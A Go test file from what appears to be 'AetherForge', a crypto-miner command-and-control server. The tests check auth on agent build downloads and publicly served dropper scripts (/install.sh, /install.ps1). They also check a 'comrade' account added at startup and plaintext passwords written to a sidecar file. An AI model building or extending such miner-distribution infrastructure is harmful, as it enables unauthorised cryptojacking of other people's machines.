Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
599 lines
18 KiB
Go
599 lines
18 KiB
Go
package api
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/builder"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/pool"
|
|
)
|
|
|
|
const routerAuthCacheTTL = 5 * time.Minute
|
|
|
|
func resetAuthState(t *testing.T) {
|
|
t.Helper()
|
|
authSessionCacheMu.Lock()
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu.Unlock()
|
|
usersMu.Lock()
|
|
authUsers = map[string]string{}
|
|
usersFilePath = ""
|
|
usersMu.Unlock()
|
|
authLoadMu.Lock()
|
|
authLoadedDataDir = ""
|
|
authLoadMu.Unlock()
|
|
SetAgentPathSecret("")
|
|
SetRotateSecretFn(nil)
|
|
t.Cleanup(resetAuthGlobals)
|
|
}
|
|
|
|
func resetAuthGlobals() {
|
|
authSessionCacheMu.Lock()
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu.Unlock()
|
|
SetAgentPathSecret("")
|
|
SetRotateSecretFn(nil)
|
|
}
|
|
|
|
func TestRouterConstants(t *testing.T) {
|
|
if authCacheTTL != routerAuthCacheTTL {
|
|
t.Fatalf("authCacheTTL = %v, want %v", authCacheTTL, routerAuthCacheTTL)
|
|
}
|
|
}
|
|
|
|
func TestAuthCacheKeyDeterministic(t *testing.T) {
|
|
k1 := authCacheKey("user", "pass")
|
|
k2 := authCacheKey("user", "pass")
|
|
if k1 != k2 || k1 == "" {
|
|
t.Fatalf("cache key not stable: %q %q", k1, k2)
|
|
}
|
|
if authCacheKey("user", "other") == k1 {
|
|
t.Fatal("different passwords should produce different cache keys")
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareOptionsPassthrough(t *testing.T) {
|
|
resetAuthState(t)
|
|
called := false
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
called = true
|
|
w.WriteHeader(http.StatusNoContent)
|
|
}))
|
|
req := httptest.NewRequest(http.MethodOptions, "/api/v1/config", nil)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if !called || rec.Code != http.StatusNoContent {
|
|
t.Fatalf("OPTIONS should bypass auth: called=%v status=%d", called, rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareHealthPublic(t *testing.T) {
|
|
resetAuthState(t)
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
w.WriteHeader(http.StatusOK)
|
|
}))
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("health should be public, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
// TestBasicAuthMiddlewareBuildDownloadRequiresAuth verifies that build download
|
|
// routes are no longer publicly accessible — they require fleet secret or Basic Auth.
|
|
func TestBasicAuthMiddlewareBuildDownloadRequiresAuth(t *testing.T) {
|
|
resetAuthState(t)
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
w.WriteHeader(http.StatusOK)
|
|
}))
|
|
paths := []string{
|
|
"/api/v1/builds/abc/download",
|
|
"/api/v1/builds/abc/artifact/worker.exe",
|
|
}
|
|
for _, p := range paths {
|
|
req := httptest.NewRequest(http.MethodGet, p, nil)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("%s without auth should be 401, got %d", p, rec.Code)
|
|
}
|
|
}
|
|
|
|
// Fleet secret should grant access.
|
|
SetAgentPathSecret("test-secret-abc")
|
|
t.Cleanup(func() { SetAgentPathSecret("") })
|
|
for _, p := range paths {
|
|
req := httptest.NewRequest(http.MethodGet, p, nil)
|
|
req.Header.Set("X-Fleet-Secret", "test-secret-abc")
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("%s with fleet secret should be 200, got %d", p, rec.Code)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareDropperPublic(t *testing.T) {
|
|
resetAuthState(t)
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
w.WriteHeader(http.StatusOK)
|
|
}))
|
|
for _, path := range []string{"/get", "/install.sh", "/install.ps1"} {
|
|
req := httptest.NewRequest(http.MethodGet, path, nil)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("%s should be public, got %d", path, rec.Code)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareMissingCredentials(t *testing.T) {
|
|
resetAuthState(t)
|
|
usersMu.Lock()
|
|
authUsers["admin"] = "secret"
|
|
usersMu.Unlock()
|
|
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
t.Fatal("handler should not run without auth")
|
|
}))
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("expected 401, got %d", rec.Code)
|
|
}
|
|
if !strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
|
|
t.Fatal("expected WWW-Authenticate header")
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
|
|
resetAuthState(t)
|
|
hashed, err := hashPassword("correct")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
usersMu.Lock()
|
|
authUsers["admin"] = hashed
|
|
usersMu.Unlock()
|
|
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
t.Fatal("handler should not run with bad password")
|
|
}))
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
req.SetBasicAuth("admin", "wrong")
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("expected 401, got %d", rec.Code)
|
|
}
|
|
if strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
|
|
t.Fatal("SPA requests with Authorization must not get WWW-Authenticate")
|
|
}
|
|
}
|
|
|
|
func TestIsSPAAuthRequest(t *testing.T) {
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
if isSPAAuthRequest(req) {
|
|
t.Fatal("bare request should not be SPA")
|
|
}
|
|
req.Header.Set("X-AetherForge-Client", "dashboard")
|
|
if !isSPAAuthRequest(req) {
|
|
t.Fatal("client header should mark SPA request")
|
|
}
|
|
req = httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
req.Header.Set("Authorization", "Basic dXNlcjpwYXNz")
|
|
if !isSPAAuthRequest(req) {
|
|
t.Fatal("Authorization header should mark SPA request")
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareSPANoWWWAuthenticate(t *testing.T) {
|
|
resetAuthState(t)
|
|
usersMu.Lock()
|
|
authUsers["admin"] = "secret"
|
|
usersMu.Unlock()
|
|
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
t.Fatal("handler should not run without auth")
|
|
}))
|
|
|
|
for _, setup := range []func(*http.Request){
|
|
func(r *http.Request) { r.Header.Set("X-AetherForge-Client", "dashboard") },
|
|
func(r *http.Request) { r.Header.Set("Authorization", "Basic dXNlcjpwYXNz") },
|
|
} {
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
setup(req)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("expected 401, got %d", rec.Code)
|
|
}
|
|
if rec.Header().Get("WWW-Authenticate") != "" {
|
|
t.Fatal("SPA-marked 401 must not include WWW-Authenticate")
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
|
|
resetAuthState(t)
|
|
hashed, err := hashPassword("correct")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
usersMu.Lock()
|
|
authUsers["admin"] = hashed
|
|
usersMu.Unlock()
|
|
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
w.WriteHeader(http.StatusOK)
|
|
}))
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
|
req.SetBasicAuth("admin", "correct")
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d", rec.Code)
|
|
}
|
|
if !authCacheHit("admin", "correct") {
|
|
t.Fatal("successful auth should populate cache")
|
|
}
|
|
}
|
|
|
|
func TestBasicAuthMiddlewareAgentPathFleetSecret(t *testing.T) {
|
|
resetAuthState(t)
|
|
SetAgentPathSecret("fleet-secret-123")
|
|
|
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
w.WriteHeader(http.StatusOK)
|
|
}))
|
|
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusForbidden {
|
|
t.Fatalf("missing fleet secret should be 403, got %d", rec.Code)
|
|
}
|
|
|
|
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
|
|
req.Header.Set("X-Fleet-Secret", "fleet-secret-123")
|
|
rec = httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("valid fleet secret should pass, got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestRouterPostUsersValidation(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`)))
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("empty payload should be 400, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestRouterPostUsersConflict(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
body, _ := json.Marshal(map[string]string{"username": testAuthUser, "password": "otherpass"})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusConflict {
|
|
t.Fatalf("existing username should 409, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestRouterPostWSTicket(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/ws-ticket", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["ticket"] == nil || body["ticket"] == "" {
|
|
t.Fatalf("expected ticket in response: %v", body)
|
|
}
|
|
}
|
|
|
|
func TestRouterPostUsersSuccess(t *testing.T) {
|
|
router, _, _, dataDir := newTestRouter(t)
|
|
|
|
body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
usersPath := filepath.Join(dataDir, "users.json")
|
|
data, err := os.ReadFile(usersPath)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
var users map[string]string
|
|
if err := json.Unmarshal(data, &users); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !checkPassword(users["newop"], "newpass") {
|
|
t.Fatal("new user password should be bcrypt stored and verifiable")
|
|
}
|
|
}
|
|
|
|
func TestRouterRotateSecretNotConfigured(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusServiceUnavailable {
|
|
t.Fatalf("expected 503, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestRouterRotateSecretSuccess(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
SetRotateSecretFn(func() (string, error) {
|
|
return "new-secret-token-xyz", nil
|
|
})
|
|
t.Cleanup(func() { SetRotateSecretFn(nil) })
|
|
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["ok"] != true {
|
|
t.Fatalf("unexpected body: %v", body)
|
|
}
|
|
}
|
|
|
|
func TestRouterBuilderCancelNotFound(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil)
|
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusNotFound {
|
|
t.Fatalf("expected 404, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
// TestRouterBuildDownloadAuth verifies that build download routes require either
|
|
// the fleet secret (X-Fleet-Secret header) or Basic Auth — they are no longer
|
|
// publicly accessible without credentials.
|
|
func TestRouterBuildDownloadAuth(t *testing.T) {
|
|
dataDir := t.TempDir()
|
|
seedTestUsers(t, dataDir)
|
|
database, err := db.New(dataDir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { database.Close() })
|
|
|
|
buildID := "dl-build"
|
|
buildDir := filepath.Join(dataDir, "builds", buildID)
|
|
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
binPath := filepath.Join(buildDir, "agent.exe")
|
|
if err := os.WriteFile(binPath, []byte("fake-binary"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := database.InsertBuild(&models.BuildRecord{
|
|
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
|
FilePath: binPath, FileName: "agent.exe", Platform: "windows",
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
const testSecret = "test-fleet-secret-12345"
|
|
SetAgentPathSecret(testSecret)
|
|
t.Cleanup(func() { SetAgentPathSecret("") })
|
|
|
|
wsHub := NewWSHub(database)
|
|
cfg := &mockConfigProvider{}
|
|
configHandler := NewConfigHandler(cfg)
|
|
aiHandler := NewAIHandler(database)
|
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
|
|
|
dlURL := "/api/v1/builds/" + buildID + "/download"
|
|
|
|
// 1. Unauthenticated → 401.
|
|
req := httptest.NewRequest(http.MethodGet, dlURL, nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusUnauthorized {
|
|
t.Fatalf("unauthenticated download should be 401, got %d", rec.Code)
|
|
}
|
|
|
|
// 2. Valid fleet secret → 200.
|
|
req = httptest.NewRequest(http.MethodGet, dlURL, nil)
|
|
req.Header.Set("X-Fleet-Secret", testSecret)
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("fleet-secret download should be 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
|
|
// 3. Basic Auth → 200.
|
|
req = httptest.NewRequest(http.MethodGet, dlURL, nil)
|
|
req.SetBasicAuth("testuser", "testpass")
|
|
rec = httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("basic-auth download should be 200, got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestRouterDropperInstallScriptsPublic(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
for _, path := range []string{"/install.sh", "/install.ps1"} {
|
|
req := httptest.NewRequest(http.MethodGet, path, nil)
|
|
req.Host = "forge.local:8989"
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("%s status=%d", path, rec.Code)
|
|
}
|
|
if !strings.Contains(rec.Body.String(), "AetherForge") {
|
|
t.Fatalf("%s missing branding", path)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestRouterSPAFallbackUnknownRoute(t *testing.T) {
|
|
router, _, _, _ := newTestRouter(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected SPA fallback 200, got %d", rec.Code)
|
|
}
|
|
if !strings.Contains(rec.Body.String(), "AetherForge") {
|
|
t.Fatal("expected index.html fallback")
|
|
}
|
|
}
|
|
|
|
func TestRouterNoWebRootFallback(t *testing.T) {
|
|
dataDir := t.TempDir()
|
|
seedTestUsers(t, dataDir)
|
|
database, err := db.New(dataDir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { database.Close() })
|
|
|
|
wsHub := NewWSHub(database)
|
|
cfg := &mockConfigProvider{}
|
|
configHandler := NewConfigHandler(cfg)
|
|
aiHandler := NewAIHandler(database)
|
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
|
|
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
|
|
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
|
rec := httptest.NewRecorder()
|
|
router.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("expected 200, got %d", rec.Code)
|
|
}
|
|
if !strings.Contains(rec.Body.String(), "No frontend configured") {
|
|
t.Fatalf("unexpected body: %s", rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
|
|
resetAuthState(t)
|
|
dataDir := t.TempDir()
|
|
|
|
LoadUsers(dataDir)
|
|
|
|
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
|
|
data, err := os.ReadFile(sidecarPath)
|
|
if err != nil {
|
|
t.Fatalf("login sidecar: %v", err)
|
|
}
|
|
var creds map[string]string
|
|
if err := json.Unmarshal(data, &creds); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
pw, ok := creds["admin"]
|
|
if !ok || pw == "" {
|
|
t.Fatalf("expected admin password in sidecar: %v", creds)
|
|
}
|
|
if !checkPassword(authUsers["admin"], pw) {
|
|
t.Fatal("sidecar password should match users.json hash")
|
|
}
|
|
comradePW, ok := creds["comrade"]
|
|
if !ok || comradePW == "" {
|
|
t.Fatalf("expected comrade password in sidecar: %v", creds)
|
|
}
|
|
if !checkPassword(authUsers["comrade"], comradePW) {
|
|
t.Fatal("comrade sidecar password should match users.json hash")
|
|
}
|
|
|
|
if err := saveUser("admin", "new-secret-pass"); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
reloaded, err := readLoginSidecar(sidecarPath)
|
|
if err != nil || reloaded["admin"] != "new-secret-pass" {
|
|
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
|
|
}
|
|
}
|
|
|
|
func TestLoadUsersAddsComradeToExistingAdminDeck(t *testing.T) {
|
|
resetAuthState(t)
|
|
dataDir := t.TempDir()
|
|
adminHash, err := hashPassword("keep-admin")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
usersPath := filepath.Join(dataDir, "users.json")
|
|
if err := os.WriteFile(usersPath, []byte(fmt.Sprintf(`{"admin":%q}`, adminHash)), 0600); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
|
|
if err := writeLoginSidecar(sidecarPath, map[string]string{"admin": "keep-admin"}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
LoadUsers(dataDir)
|
|
|
|
usersMu.RLock()
|
|
_, hasComrade := authUsers["comrade"]
|
|
usersMu.RUnlock()
|
|
if !hasComrade {
|
|
t.Fatal("expected comrade in users.json after startup")
|
|
}
|
|
creds, err := readLoginSidecar(sidecarPath)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if creds["admin"] != "keep-admin" {
|
|
t.Fatalf("admin sidecar password changed: %q", creds["admin"])
|
|
}
|
|
comradePW, ok := creds["comrade"]
|
|
if !ok || comradePW == "" {
|
|
t.Fatalf("expected comrade in sidecar: %v", creds)
|
|
}
|
|
if !checkPassword(authUsers["comrade"], comradePW) {
|
|
t.Fatal("comrade sidecar password should match users.json hash")
|
|
}
|
|
}
|